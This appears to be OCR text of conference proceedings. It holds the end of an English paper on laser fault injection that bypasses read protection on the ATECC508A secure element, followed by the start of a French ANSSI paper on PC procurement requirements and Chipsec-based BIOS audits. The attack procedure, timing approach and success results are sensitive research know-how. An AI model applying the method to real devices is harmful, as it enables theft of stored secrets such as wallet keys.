the program control flow differs. This time probably corresponds to a
conditional branch testing the "is secret" flag of the data slot configuration.

The granted access power trace (dark-gray) also shows a repetitive
pattern, shortly after the branch divergence. We supposed this part of
the power trace corresponds to the data transfer from the EEPROM
memory to a buffer in the RAM memory. We could validate this hypothesis
experimentally by faulting the data transfer, injecting fault at this time
when reading an authorized data slot. We observed that the faulted byte
index was depending on which pattern we targeted, and we found out the
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device copies the 32 bytes data slot by 8 transfers of 4 bytes. As expected
this data transfer does not occur when the slot is secret (red power trace).

This power trace analysis gives us a precious hint on the fault injection
time. It does not give an exact timing, but considerably reduces the search
space, and therefore increases the probability of success.

6 Testing campaign

To search for vulnerabilities, we ran an automated one day long
fault injection campaign on the Read Memory command. Each test was
composed of the following steps:

1. Laser beam displacement: the laser is moved at a random location
above the ROM memory region (see Figure 5). We didn’t explore
the whole chip with the laser and we chose to focus on the ROM
memory as it usually gives good chances of faulting the program
instructions during execution.

2. Laser pulse delay configuration: the fault injection time is random-
ized in a small time window around the branch identified in the
power-trace (Figure 11).

3. ATECC circuit power-on
4. ATECC prelude commands for wake-up and initialization

5. Laser trigger activation: the next I?C command sent to the circuit
will send an electrical pulse to the pulse generator, which will
activate the laser for a short duration and after a configured delay
(set in step 2).

6. Execution of the Read Memory command. The laser illumination
will occur during the processing of this command.

7. Log the response from the circuit (error code, returned data or
communication errors)

8. Laser trigger deactivation

9. ATECC circuit power-off

Thanks to our custom I2C communication management with our
dedicated hardware, our script is able to raise an exception for every
possible communication error. No fault can lead to attack script crashes:
we are able to log any kind of chip misbehavior and let the test campaign
run for a very long time.
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Waveform View

Fig. 9. Power trace during granted memory read
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Fig. 10. Power trace during denied memory read
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Fig.11. Averaged power traces comparison between granted and denied read
requests

7 Results

343617 fault injection tests have been performed during the campaign.
1546 tests resulted in data transmission from the ATECC508A device
and the execution status "OK". Lots of different output data have been
collected. The Table 3 is an extract of the most frequently received data.
Most of the received data have the correct expected length (32 bytes),
but unfortunately, none of them matched the initially programmed value
0123456789abcdef . . ..

From the result log we observed some data was received multiple times.
Although those records are random look-alike, since the device is restarted
before every test, we deduced it was stored in the non-volatile memory of
the device.

In Figure 12, we plotted the occurrences of the received data. The
X-axis corresponds to the test number, growing over time. Some particular
data are interesting and can be read as following:

— the data starting with a712c¢613... (line 1 in Table 3; line 1 in
Figure 12) has been received 336 times between experiments n° 33
and n°114317.

— the data starting with a1£f80fa... (line 4 in Table 3; line 5
in Figure 12) has been received 76 times between experiments
n° 114613 and n° 147932.

— the data starting with 929b86e3... (line 6 in Table 3; line 7
in Figure 12) has been received 58 times between experiments
n° 148053 and n° 169969.
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lCount[Length[Output data from ATECC508A device

336 32 a712c6137b0b50b401d8def£8b0b3b8e5£2b01e0707d4eacaecb6bbe589220274
152 32 |a092cc6943e6c408bdd924e4ce90b8c895ddac03d2ada707088cacedd9cb803a

151 4 00000000

76 32 alff80£fa7028066d4dcc023f23e2ec6b79864aa8b6e979e¢1d63cbf05277ebeb7
72 32 41e0£6332019cd625920691b11400c9387009e68d0b13e53d73257216a4c0ce8
58 32 929b86e3dff0ecb1d2318cf0c4bf5872b32d9db260cf012ae7c00d40cac19ccl
53 32 4e92d8096bfa78254581b9f5b987e60337e4f9860£92a2615581676e896854dd
51 32 011££fd4b459e81f8ab7f42cd2662fc6117cad15cb99155e72ed6b76211067e22
50 64 09¢8420000000000000000000000000000000000000000000000000000000000...
43 32 9dbf7427£5098feb2c708174875896£7294629a30049f5aa825dffa05b7c3c29
37 32 f6fecd81£528d1ebfcf005b0d59ebfd84839dbcc0c1a9614be3a13351009b107
31 32 8£8a22572231abafd8035be7d84eece928e7754d966b054fa4f02e5d02599bc6
29 32 069f££7317d731544177eb8d663£97£27dd3c7cbf1b41bc4e88ecalbedleffcbe
21 32 c776a730a55dd031685d2afc76672babd23187ca07ce42b66286888be89cac2d
20 4 01000000

15 32 89f3c21a72ebb69fb1f6010fe3c0a3ab6ebb81356337b3e2a7024024d40ba371
14 32 2132c13ce836edalab62fc3cIb07345da28616d792e0ebc3e7bae5864c0d9e80
12 32 07f2bba24ebdd721e76b9e0d8e8b2b8431679a147£f0562a8565cb382bf5ac2el
12 32 |e7edcd6b9e8clcef387f529bc29cb7ccfel4ed4195d251a57525ba6f26870be
11 32 1c60381¢c2111566e7b200149b12bc72ee416bd90d1db927d4fe0abc008d0349a
11 32 487ce193a06c6£d01d38221f0fb1lbbefaf3af73a8c3b1078732b34a03e10c806
9 32 3496bdbbe1653dfd789610c269d69f9dfbcc4d0ea9231a6367a001c752e5e097

32 e89fe351556fa969ef2625c714ee21ec7£05293ac67eb928d5e16be9114c288b
32 fea48df33529bd4490c47a7511d58cd367762ea3b99155e7d129489d11067e22
32 50£3£6d9cbbd00a75657998278£7783700d80b70c5£68d5d3ebalfb2882dcd5b1
32 2987190f1ca47ae372a4c7d575272b066006a5f15£871e06249022da9a7de790
32 1856bdd3ee3b2092c83ccd918b9ebbcebf5db12b195d251aa8adad59f26870be
32 £849cbla3e0aeb9ddcd0abb5b93c5b3641db65eb7£0562a8a9a34c7dbfbac2el
32 2ffef9424c7e67d31b519d3d4ea96444265a5189aadba8ab27624ca34c2fdf27
32 ee71ldacb9ef9be9cb79fbe2da2d87200e7db278645d70b31f34b3827a634b450
32 617b9c689bc8017dc2fabb6cedbOeec4alad05776ce2259ffe2e6840c70b8d07b
32 9ecOecd0eb7£3dc1f9418e76ecb99cfB8eabca889ce2259ff1d197bf370b8d07b
32 |ba6d03441£848722d1879d7b1c4200c1acf76d2c18378934c£80a74790f448cc
32 39f89fdcf322080d4983818ce187b8080a8368ce9c3358cbaddc2fbe281ecd863
32 873ffa64d6a33ced01c5600e366ef3b2eab7c66b5b0cf08a67dae901d429e2d6
32 172493e925d895d5d49d1d7£2359515e0fb9d6c5c67eb9282a1€9416114c288b
32 £92487890dc429£82cc5806e544e0f95ad8083401b41bc4e77135f9141effcbe
32 03ef60a44cc20e776047a0£a7824021d32a8c80804cd330b1ab177d9b58£3264
32 e94af4f13db169fd5f£6£20fb347eccb424ed1421dd2bdblecf63baec66£67d5¢
25 09c84200000000000000000000000000000000000000000000

[ N N LI LI TSI RS N N N N N RS RS RN R o)

Table 3. Collected output data from ATECC508A device resulting from Read
Memory command fault injection
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— etc.

For the mentioned data, the occurrence ranges intersection is (). From
this, we understood the laser faults injected during the tests were changing
the data stored in the non-volatile EEPROM memory. It is probable
that a laser fault injected between experiments n® 114317 and n° 147932
overwritten a712c613 with al1ff80fa. This pattern can be observed 12
times across all the testing campaign.

Furthermore, some data seem to come in pairs:

— alff80fa... with 07f2bba2... (Pair A in Figure 12)

— 929b86e3. .. with 3496bdbb. .. (Pair B in Figure 12)

— f6fecd8l... with 50£3£f6d9... (Pair C in Figure 12)

— 41e0£633. .. with e7edcd6b... (Pair D in Figure 12)

— etc.

We supposed pairs were corresponding to the same data, which were
returned encrypted in some cases, and in plain text in the other cases. We
could not verify this hypothesis since the encryption key was unknown to
us.

a712¢613.. 17— I I | .
9dbf7427..4—H I R B e L 1 | B e e e o e I |/ R B | |
fea48df3.. | Il 1

011ffd4b.. 1 THHHHHIE - HHEH- I

alffgefa.. - ] N
07f2bbaz.. | T ) Pair
929b86e3.. 1] -
3496bdbb.. | iy | Pair B
1c60381c.. ]
8f8a2257.. m
89f3c21a.. 1 ]
487ce193.. 1 |
f6fecd8l... ] -
50F3f6d0.. - I } Pair C
c776a730... N
41e0f633.. (1] }
e7edcd6b... Hi-H
2132¢13c.. 1 |
4e92d809... 1 ]
e89fe351.. HHH
2092cc69.. L]
069ff731.. THI-HHHHIHH

Pair D

0 50000 100000 150000 200000 250000 300000 350000
Test number

Fig. 12. Output data occurrences over the experiments

At the end of the campaign and after the results analysis, we believed
the data we were trying to read in the secret slot had been overwritten. The
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ATECCBH08A circuit provides the "GenKey" command which generates a
new P256 elliptic curve key (32 bytes) and stores it in the data slot given in
the command parameters. A laser fault injection had probably disturbed
the program control flow and executed this command by accident.

The ATECC508A device also provides a "MAC" command which
computes and returns the SHA-256 digest of random nonces, the device
serial number, and the first 32 bytes of a chosen data slot. We used
this command to demonstrate that the last received data in the test log
(069f£731...) was the content of the targeted data slot, proving we had
several successful faults during the whole campaign.

To summarize, the possible circuit behavior after fault injection during
our testing campaign were the following:

— The "Read” command is executed but the arguments are faulted
and an authorized data slot is returned instead of the requested
one.

— The command executed is not the correct one: this can happen
if the command code is faulted, or if the command dispatcher
control flow is modified. For instance, if the Random command is
executed instead of the Read command, the circuit will return an
"OK" status with generated random data.

— The command executed is not the correct one and overwrites
the data we want to read. This happens if a key generation is
accidentally started. This is a very problematic situation as it is
hard to detect and usually requires changing the slot to be read or
replacing the sample by a new one.

— The fault triggers an invalid write in the EEPROM configuration
memory. This may destroy the chip and require replacing it. We
encountered this case a few times, and this is the most annoying
result since we need to prepare a new sample to continue the tests.

— Command execution is faulted and produces an internal checking
error.

— And other behaviors very hard to understand in a black-box ap-
proach!

— The "Read" command is executed but the data sent seems to be
incorrect, probably overwritten.

8 Refining the attack

The attack campaign detailed previously showed that there might be
a risk to erase the targeted asset data before being able to retrieve it. We
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spent more time to refine the attack parameters to reduce the risk of data
loss. We identified a precise timing and laser beam position for which the
chances of success of the attack is high, and the chance of data lost is low.

We tested those new parameters on a new device and we were able to
extract the expected data (0123456789abcd. . .) in less than 2 minutes
of testing. This demonstrated that the vulnerability can be exploited in a
real-case scenario.

9 Further work

During our security evaluation of the ATECC508A circuit, we also
identified another vulnerability which allowed us to change the serial
number of a circuit. We also demonstrated this vulnerability can be used
to unlock the configuration zone of a locked circuit, which may grant
access to all the stored data. Those attacks were really hard to perform
compared to the one presented in this article, and we only managed to
perform it twice. Furthermore, there is a very high risk of destroying the
chip permanently when attempting to unlock it, making the attack not
very practical for the moment. We are still investigating on those attack
paths.

Microchip released the ATECCG608A, which is the backward-compatible
successor of the ATECC508A. This circuit seems to use the exact same
silicon, with a new firmware providing more functionalities, and with
more software security hardening. A security evaluation of this circuit
against fault injection should be interesting to perform, and for sure a
real challenge!

10 Conclusion

We identified the Read vulnerability in less than one month of work
and demonstrated it is a practical attack. Although we used expensive
equipment, the gain from such an attack can be very high, in particular if
the target is a stolen hardware wallet.

Sample preparation is limited since it is not mandatory to thin the
silicon substrate. Since the samples can be easily acquired and do not
require a lot of preparation, we did not hesitate to inject faults with a
lot of power or pulse count in order to increase the success probability.
Therefore, two chips have been destroyed during the laser campaigns
before getting a successful breaking fault. Destruction may come from
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invalid EEPROM write operations at critical addresses, but we could not
verify this hypothesis.

A particular difficulty we met when researching exploitable faults on
the ATECCB508A is that this circuit cannot be programmed back to default
factory settings. It is not either possible to load custom code for testing
purpose. Some chips were broken after bad EEPROM configuration, due
to misunderstanding of the datasheet while discovering the circuit and its
commands. Other chips have been broken with invalid writes in EEPROM
memory, induced by laser faults. During the Read attack campaign, known
data which have been loaded during configuration and before locking
the chip have sometimes been overwritten by undesired key generation
induced by faults - making the detection of a successful fault undetectable
since the dumped data was not the expected one. Every time a chip is
broken, a lot of time is spent preparing another sample. This slows down
attackers in finding vulnerabilities.

Vulnerabilities on standard microcontrollers usually give full access
to all stored data. Regarding the ATECC508A, our vulnerability is only
applicable to a specific data slot configuration. Data slots configured for
P256 key storage, which is the typical use case for this product in IoT,
are not vulnerable to this attack path.

As of today we consider this chip vulnerable to laser fault injection.
Despite the identified vulnerabilities, we think the ATECC508A circuit was
a smart choice to protect secrets and we want to remind it is a much safer
security solution than relying on microcontrollers non-volatile memory for
storing secrets. No agreement with the manufacturer is required to buy
and develop a product using this circuit. However, the security assurance
level of this solution is not as high as certified secure elements.
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Résumé. Dans le cadre de ’achat des postes de travail informatiques du
gouvernement francais, ’ANSSI a mis en ceuvre avec la DAE (direction
des achats de I’Etat) un processus permettant de s’assurer que ces ma-
chines soient conformes a des exigences de sécurité matérielles. Celles-ci,
rédigées par ’ANSSI, vérifient notamment que les constructeurs de PC
maitrisent les composants matériels embarqués, qu’ils proposent des fonc-
tionnalités de sécurité minimales ou encore que les firmware (BIOS/UEFT)
soient correctement configurés. Pour s’assurer du respect des exigences
techniques, un outil dédié aurait pu étre développé mais ’ANSSI a choisi
d’utiliser un outil existant et fiable : Chipsec, projet libre écrit en Python
et soutenu par Intel. Chipsec est trés modulable et permet aussi bien de
relever les registres de configuration de contréleurs matériels que d’en
interpréter les valeurs pour remonter un premier état de sécurisation.
L’autre atout de Chipsec, qui a poussé ’ANSSI a l'utiliser, est qu’il est
fortement maintenu, aussi bien au niveau des processeurs supportés qu’au
niveau des registres a vérifier selon les derniéres vulnérabilités bas niveau
découvertes.

1 Contexte : détection de vulnérabilités liées au matériel

En 2015, du trafic réseau suspect est détecté dans le réseau d’une
administration francaise. Ce trafic réseau est rapidement lié au logiciel
Computrace, installé de fagon non autorisée sur des postes clients récem-
ment acquis et déployés par le service informatique.

1.1 Computrace

Computrace est un logiciel de lutte contre le vol des ordinateurs
portables. Maintenant nommé Absolute Home & Office, il est composé de
deux parties :

— un agent logiciel, s’exécutant au-dessus du systeme d’exploitation,
qui maintient un lien permanent avec les serveurs de la société Ab-
solute afin de transmettre la position géographique de 'ordinateur
et vérifier s’il n’a pas été déclaré volé;
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— un module persistant, activé au niveau du BIOS (ou firmware UEFI)
de la machine, entre autres chargé d’injecter ’agent logiciel lors
du démarrage du systéme d’exploitation (Windows en particulier),
afin d’empécher que le formatage du disque dur ne désactive les
fonctionnalités d’anti-vol.

Les possibilités de I’agent logiciel ne se limitent pas a la fonctionnalité
de vérification du statut de la machine et a la transmission de la position
géographique (connue grace a ’éventuel présence d’'un GPS ou bien par
triangulation grace aux points d’acces wifi présents a proximité). L’agent
s’exécute avec des privileges élevés et est capable d’actions sur le systéme
qui peuvent s’apparenter a celles d’'un rootkit, en particulier la possibilité
d’exécuter des commandes et d’installer de nouveaux logiciels.

Les privileges élevés conférés au logiciel (ainsi qu’au module persistant)
ont mené a I’examen de celui-ci par 'entreprise Kaspersky a deux reprises,
en 2009 puis en 2014. Les investigations se sont traduites par la publication
d’un article [18] ainsi qu'une présentation [19]. Ces documents détaillent
des vulnérabilités identifiées dans Computrace, qui peuvent mener & une
prise de contrble complete du systéme par un attaquant.

1.2 Investigation

L’activation silencieuse du logiciel Computrace a été tracée jusqu’a un
communiqué [20] de l'entreprise Lenovo, fabricante des postes de travail
déployés au sein de 'administration concernée. Dans certaines versions
de BIOS, Lenovo a involontairement activé dans le BIOS le module de
persistance, ce qui se traduit par I'injection dans le processus de démarrage
de Windows du premier étage de I'agent Computrace, qui cherche ensuite
a vérifier 'activation du service aupres des serveurs de la société. Une
des machines concernées par cette version de BIOS a été utilisée pour
générer le master d’installation des postes du service, qui a ensuite servi
a installer un certain nombre de machines, déployées par la suite au sein
du service. C’est ce qui a mené a la génération de trafic réseau vers les
serveurs de ’entreprise Absolute.

1.3 Réponse immédiate

Une fois l'origine du probléme identifié, la résolution a principalement
consisté en une coordination avec Lenovo et le service informatique afin
de désactiver le module persistant, mettre a jour les BIOS des machines
concernées et éviter une réinstallation de ’agent.
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1.4 Réponse a plus long terme

Méme si 'origine malveillante de cet épisode n’est pas démontrée, il
montre I'importance d’avoir un suivi des composants matériels en plus des
composants logiciels, au sein d’un parc informatique. En effet, méme si les
postes informatiques sont considérés comme du matériel, ils contiennent
une quantité importante de codes informatiques, sous une forme communé-
ment appelée firmware (ou micrologiciels). On pense bien évidemment au
BIOS qui s’exécute au démarrage sur le processeur principal, mais il existe
aussi les logiciels s’exécutant sur d’autres processeurs, par exemple celui
des périphériques (carte réseau, carte graphique etc.), des co-processeurs
tels que le Intel CSME (Converged Security € Management Engine), ou
encore les microcodes du processeur lui-méme.

Comme 'ont d’ailleurs prouvé les années récentes avec la kyrielle de
vulnérabilités touchant les processeurs (Spectre, Meltdown, Foreshadow
etc.), tous ces codes nécessitent parfois des mises a jours et donc un suivi,
qui est délicat et assez rarement effectué.

2 Rédaction d’exigences de sécurité

2.1 Gestation

L’ANSSI, en lien avec la DAE (direction des achats de I'Etat, adminis-
tration chargée entre autre de passer des marchés publics pour répondre
aux besoins de IEtat francais) a donc commencé la rédaction d’exigences
de sécurité qui s’appliqueraient aux achats de matériel informatique (postes
de travail en particulier).

Les exigences de sécurité matérielles, maintenant publiées sur le site de
I’ANSSI [3], ont été congues afin de répondre sur la durée aux enjeux de
sécurité du matériel. Ces exigences ont été congues en coopération avec les
partenaires concernés : ministeres acquéreurs, constructeurs, ainsi que des
homologues internationaux ayant le méme type de besoins. Les exigences
issues du processus de gestation devaient indiquer aux constructeurs les
souhaits de 'administration, tout en restant acceptables et réalisables
techniquement, et sans induire un surcott trop élevé.

Pour des raisons de simplicité, ces exigences s’adressaient dans un
premier temps uniquement aux postes de travail (fixes et portables) sur
architecture x86 (processeurs Intel et compatibles, comme AMD).

Ces exigences ont ensuite été intégrées au CCTP d’un marché public
initié par la DAE afin d’approvisionner les administrations centrales de
I’Etat en matériel client (postes de travail fixes et nomades). Les candidats
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soumettant une réponse & ce marché public devaient s’engager a fournir
des matériels conformes aux exigences de sécurité. Cette conformité serait
ensuite vérifiée par les services du « pouvoir adjudicateur » (’ANSSI, par
délégation de la DAE).

2.2 Détails techniques

Les exigences sont regroupées en quatre familles, et chaque exigence
est associée a un objectif de sécurité qui est détaillé dans le document [3].
Sans les lister de fagon exhaustive, voici quelques détails sur les différentes
familles.

Maitrise de la plate-forme Cette famille d’exigences cherche a garantir
la maitrise de la plate-forme par son propriétaire, c’est & dire ici 'Etat
frangais (et par délégation le service informatique, incarné par un admi-
nistrateur systéme). A contrario, on cherche & limiter I'influence d’autres
acteurs, qu’ils soient connus comme le constructeur de la plate-forme ou le
fournisseur du processeur ou d’un systéme d’exploitation, ou inconnu. On
y retrouve donc la possibilité pour I'administration de choisir le systeme
d’exploitation qu’elle déploiera sur les machines acquises, ou encore la
fourniture d’un inventaire complet des composants matériels constituant
la plate-forme (périphériques, interfaces de communication etc.). L’inven-
taire permet & la fois de s’assurer que la plate-forme ne dispose pas de
composants non connus du constructeur, mais aussi de faire une veille de
sécurité sur le parc installé.

Caractéristiques matérielles Ces exigences rassemblent des compo-
sants de sécurité dont I’administration souhaite disposer sur les plates-
formes acquises. On y retrouve actuellement deux composants, optionnels
dans le monde x86 mais qui apportent des garanties de sécurité intéres-
santes quand elles sont utilisées par le systeme. Le premier est le TPM
(Trusted Platform Module), exposant au systéme un certain nombre de
fonctionnalité de sécurité (par exemple le scellement et descellement de
secrets, en fonction de I’état de la machine). Il est imposé que ce compo-
sant soit certifié Criteres Communs selon le profil de protection défini par
le TCG 1), afin d’avoir de bonnes garanties en matiére de sécurité (ceci
impose en particulier qu’il s’agisse d’'un composant matériel dédié et non
d’un code logiciel s’exécutant sur un composant existant comme le CPU

1. Trusted Computing Group le consortium a l'origine des spécifications du TPM.
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ou le chipset). Le deuxiéme composant est une I/OMMU (Input/Out-
put Memory Management Unit) qui permet d’isoler les périphériques
d’entrées/sorties et en particulier limiter leurs acces a la mémoire centrale.

Caractéristiques du firmware Cette catégorie regroupe le gros des
exigences et couvre a la fois les fonctionnalités de sécurité offertes par
le BIOS, comme la configuration d’un mot de passe au démarrage, le
changement de 'ordre de démarrage ou encore le changement des clés
SecureBoot, mais aussi les solutions de prise en main a distance et la
sécurité et la protection du firmware lui-méme.

En effet, un certain nombre de vulnérabilités ont touché le BIOS ces
derniéres années. Comme il s’agit du premier code exécuté par le processeur
principal au démarrage de la machine et qu’il n’est pas sous controle
du propriétaire de la plate-forme, il est important que le constructeur,
responsable de son écriture, en assure la sécurité, tant en amont (au
moment de son développement et de son déploiement) qu’en aval. De plus,
le BIOS est responsable de la configuration initiale de la machine avant
de passer le relai au chargeur de démarrage (bootloader) et au systéme
d’exploitation. Un défaut de configuration ou un manque de verrouillage
de la plate-forme peut permettre a un attaquant ayant déja des privileges
élevés sur la plate-forme (typiquement ring 0) de les augmenter encore,
voire de garder une persistance sur celle-ci. Les exigences imposent donc
le maintien du BIOS et de la configuration de la plate-forme a 1’état de
I’art, qui progresse en permanence.

Maintien en condition de sécurité Enfin, pour compléter les exi-
gences et assurer une pérennité dans le temps des systémes acquis par
I’administration, des exigences imposent le suivi par le constructeur des
vulnérabilités (logicielles et matérielles) touchant ses plate-formes, et la
correction de celles-ci dans un délai raisonnable.

3 DMoyens de tests

Les constructeurs soumettant une offre en réponse a ’appel d’offre
s’engagent a fournir un matériel conforme aux exigences, mais il est
important de vérifier cette conformité, que ce soit a priori ou a posteriori.
En effet, les exigences sont parfois complexes car elles touchent des aspects
trés bas niveau du matériel, et ’état de I'art progresse constamment : de
nouvelles vulnérabilités sont découvertes, ou de nouvelles protections sont
ajoutées par les fournisseurs.
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Un test systématique du matériel a donc été mis en place par ’ANSSI
avant ajout des matériels au catalogue. Ces tests portent sur ’ensemble
des exigences présentes dans le CCTP et comprennent a la fois une partie
manuelle (vérification de la documentation fournie par le constructeur
et des fonctionnalités de personnalisation offertes par le firmware, par
exemple) et une partie outillée (en particulier pour la vérification de la
présence de vulnérabilités connues).

L’outillage utilisé lors du déroulement de ces tests comporte deux clés
USB amorcables, 'une permettant de tester et valider le comportement
du SecureBoot (et en particulier la possibilité de changer les clés de plate-
forme), Pautre permettant de collecter des informations sur la configuration
du BIOS et de la plate-forme.

Ce deuxiéme support repose fortement sur I’outil Chipsec [13], publié
par Intel et détaillé ci-apres. Le support est une version bootable sur clé
USB d’une distribution Linux Debian sur laquelle est ensuite déployé
Chipsec.

La génération des supports amorcgables est détaillée dans le dépot du
projet [2].

3.1 Pourquoi utiliser Chipsec ?

A Pimage de Lojax [9], Punique rootkit UEFT détecté dans la nature, les
compromissions bas niveau touchant notamment le BIOS sont difficilement
détectables. Ceci est dii a la structure complexe d’une image UEFI, a
la difficulté de comparer les binaires la constituant et a identifier ceux
potentiellement vulnérables ou malveillants. Chipsec assure une certaine
prévention a ’aide d’une liste de vulnérabilités connues et des références
de configurations.

Chipsec est un framework Python open source (publié en mars
2014 [23]) dédié a 'analyse du niveau de sécurité des plate-formes Intel
x86 en vérifiant les mécanismes de sécurité bas niveau, les parameétres
de configuration de composants matériel ou encore des micro-logiciels
(BIOS/UEFTI). Chipsec est multi-plate-forme, il peut étre lancé depuis
Windows, Linux et MacOS, ainsi que directement depuis un Shell UEFT.

Chipsec est composé de deux scripts principaux : chipsec_main.py
et chipsec_util.py.

Le premier a été congu pour détecter automatiquement les mauvaises
sécurisations & travers une série de modules (ou plugins). Chacun de ces
derniers a une fonction particuliére et cherche a détecter une configuration
permettant ’exploitation d’une vulnérabilité spécifique. Chacune des
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vulnérabilités testées a généralement fait ’'objet d’une publication et elles
ont une finalité commune : exécuter du code malveillant sur le systeme
d’exploitation depuis un acces plus bas niveau, c’est-a-dire en modifiant le
BIOS, en exécutant du code malveillant en mode SMM, ou en exploitant
des options CPU mal documentées.

[CHIPSEC] sskkkskdkhhbkibkdkiihihbirkirs SUMMARY  sskdoksdokdkkdkksskkdthkrrkhrtrs
[CHIPSEC] Time elapsed 8.080

[CHIPSEC] Modules total 25

[CHIPSEC] Modules failed to run e:

[CHIPSEC] Modules passed 17:

[CHIPSEC] Modules information

[CHIPSEC] Modules failed
[CHIPSEC] Modules with warnings

es not

NOT IMPLEMENTED: chipsec.
[CHIPSEC] Modules not applicable
L#%] NOT APPLIC LE: chips BS. : C k
[CHIPSEDC] sk deofesteshshsoke s oot sh sk b sk sk o ok oo ook etk oo e oot ook et o sk ek sk o

Fig. 1. Résultats de chipsec_ main

Un analyste peut directement lire les résultats finaux pour savoir si sa
plate-forme est conforme aux exigences et peut s’appuyer sur la sortie de
chacun des modules chipsec pour comprendre précisément pourquoi un
test a échoué (voir Fig. 2 et Fig. 3).

Ce mode est celui principalement utilisé dans le cadre des tests des
machines acquises pour le marché DAE.
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running module: chipsec.modules.common.bios_ts

BiosInterfaceLockDown (BILD) control = 1
BIOS Top Swap mode is disabled (TSS = @)
RTC TopSwap control (TS) = @

Fig. 2. Parameétre testé par un module conforme

BIOS Region Read Access (B5SB):
FREG@_FLASHD:
FREG1_BIOS
FREG2_ME
FREG3_GBE
FREG4_PD

FREGS

FREG6 H
[#] Software has write access to Platform Data region in SPI flash (it's platform specific)
[t] NING: So as write access to e region in SPI flash

Fig. 3. Parametre non-conforme détecté par Chipsec

Le second script, chipsec_util, est davantage utilisé pour réaliser
des opérations manuelles en communiquant de maniere ciblée avec un
matériel. Dans le cadre des évaluations DAE, pour comprendre le résultat
d’un plugin, pour extraire une donnée non prise en charge par 'un des
plugins ou encore pour extraire le BIOS, cet outil s’est avéré étre tres
précieux. Le nombre de protocoles et composants pris en charge est assez
important : PCI, MMIO, SPI, UEFI, TPM, IOMMU etc.

Présenter ces options nécessiterait un article complet et nous invitons
donc le lecteur a se documenter et tester lui-méme s’il souhaite approfondir
le sujet.

3.2 Les composants a interroger

Une plate-forme récente se compose de plusieurs éléments matériels
dont la configuration peut fortement influer sur la sécurité de I’ensemble.
Pour émettre un avis sur une plate-forme, Chipsec a besoin de communi-
quer avec plusieurs composants (voir Fig. 4).

Le processeur (CPU) C’est le composant principal, il exécute le code
du systéme d’exploitation et des applications utilisateurs. Il peut s’exé-
cuter dans plusieurs modes plus ou moins privilégiés dont certains nous
intéressent particulierement ici.
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PCI Express* 3.0 x 16 " : DDR3L/DDR4
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Fig. 4. Représentation d’une plate-forme Intel munie d’'un PCH

Sur un processeur de la famille x86, on trouvera d’abord le CPL
(Current Privilege Level, aussi appelé ring) qui peut étre :

3 pour le mode utilisateur, non privilégié;

0 pour le mode noyau, privilégié.

Le CPL a une influence sur les instructions accessibles au processeur,
mais aussi sur les acces a la mémoire, au travers de la MMU.

On trouve ensuite un mode particulier de fonctionnement du processeur,
le SMM (System Management Mode). Ce mode, initialement dédié a la
gestion tres bas niveau du syteme (gestion de la température par exemple),
est isolé du reste du fonctionnement du systéme. Une description détaillée
se trouve dans le Intel® 64 and [A-32 Architectures Software Developer’s
Manual [12] (volume 3C, chapitre 34), nous en donnerons simplement une
description rapide.

Le processeur entre en SMM suite au déclenchement d’une SMI (System
Management Interrupt), une interruption matérielle qui entraine automa-
tiquement et de fagon transparente pour I’OS une bascule vers le SMM.
Le systeme d’exploitation ou tout autre application en cours d’exécution
est suspendue pendant le traitement de 'interruption, puis ’exécution est
reprise sans que le systéme n’ait eu conscience de 'interruption. Lors de
I’exécution en SMM, le processeur utilise une zone spéciale de la mémoire,
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la SMRAM, System Management RAM, réservée au stockage volatile du
code (par exemple les SMI Handlers) et de ses données.

L’adresse de base de la SMRAM en mémoire physique est nommée
SMBASE et vaut 0x30000 au reset du processeur, mais peut étre modifiée
en via un registre interne du CPU (le SMBASE register). Cette modification
n’est possible que fagon indirecte, en écrivant depuis le SMM la nouvelle
valeur du registre a un offet particulier (0x7e£8) dans la sauvegarde des
registres stockée en SMRAM. La nouvelle valeur sera restaurée dans le
registre a la sortie du SMM et prise en compte lors des prochaines SMI.

L’acces a la SMRAM est normalement impossible lorsque le processeur
ne s’exécute pas en SMM.

Le chipset Il sert d’interface entre le CPU et les périphériques (parfois
internes au chipset) et comprend donc plusieurs controleurs pour des
protocoles divers (PCI, SPI, SATA etc.). Sur des systémes plus anciens
il était composé de deux puces discretes, le northbridge (ou Memory
Controller Hub, MCH) et le southbridge (ou 1/O Controller Hub, ICH),
mais il est maintenant constitué d’une seule, le PCH (Platform Controller
Hub).

Le PCH comprend de nombreux registres de configuration pour les
différents controleurs qui le composent. En regle générale ces controleurs
sont logiquement situés sur le bus PCI Express (PCle) et les registres de
configuration sont accessibles au travers de ce bus, soit directement dans
le PCI Configuration Space soit par projection dans la mémoire physique
d’espace mémoire exposé par le périphérique.

La mémoire vive et son contrdleur L’espace mémoire adressable
(parfois appellé « mémoire physique », du point de vue du processeur)
d’un systéme récent est divisé en plusieurs zones, qui pointent par exemple
vers les barrettes mémoire, mais aussi vers des zones de configuration ou
vers de la mémoire exposée par des périphériques. Le controleur mémoire
orchestre les acces et les route vers différentes destinations (barrettes, bus
PCle etc.) tout en gérant des droits d’acces.

La mémoire flash et son contréleur La mémoire flash est une puce
discrete sur la carte mére qui comprend généralement 8 a 32 Mo de
mémoire en technologie NOR. Cette mémoire est divisée en différentes 2

2. initialement quatre (BIOS, Management Engine, Gigabit Ethernet, Platform
data), maintenant beaucoup plus
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régions, comme des partitions d’un disque, pour héberger différents types
de données, y compris de la configuration.

Sur des plate-formes x86 cette mémoire n’est pas habituellement pas
accessible directement par le processeur car elle utilise le protocole SPI
(Serial Peripheral Interface). Le processeur passe donc par un controleur
SPI (habituellement situé dans le chipset), lui méme exposé sur le bus
PCle.

3.3 Zones de configurations

Notions de registre Nous aborderons souvent la notion de registre
matériel dans cet article. Il s’agit tout simplement d’un espace physique
bien délimité (mémoire d’un contrdleur de périphérique, mémoire du CPU,
PCH etc.) stockant des données de configuration spécifiques.

Un registre définit généralement, a travers des valeurs définies, le com-
portement d’un controleur de périphérique vis-a-vis de son périphérique
ou les droits associés a celui-ci. Certaines valeurs n’ont pas d’importance
sur le niveau de sécurité mais d’autres sont cruciales. A titre d’exemple, il
existe une valeur de registre responsable du verrouillage de la mémoire
flash SPI stockant le BIOS, qui empéche donc ainsi son altération depuis
un systeme d’exploitation. L’absence de verrouillage rend possible 1'ins-
tallation d’une porte dérobée non détectable par les antivirus car non
présente sur le disque dur.

En parcourant la documentation des chipset Intel, nous comprenons
rapidement a quel point il est difficile de verrouiller complétement 1’en-
semble des composants d’une plate-forme. En effet, le nombre de registres
et valeurs possible est tres important et ils ont souvent des dépendances
entre eux qui ne sont pas forcément simples a identifier. Le bit a1 d’un
registre A peut étre nativement bien positionné, mais si le bit b1 du registre
B est responsable du verrouillage de plusieurs registres dont A, alors le bit
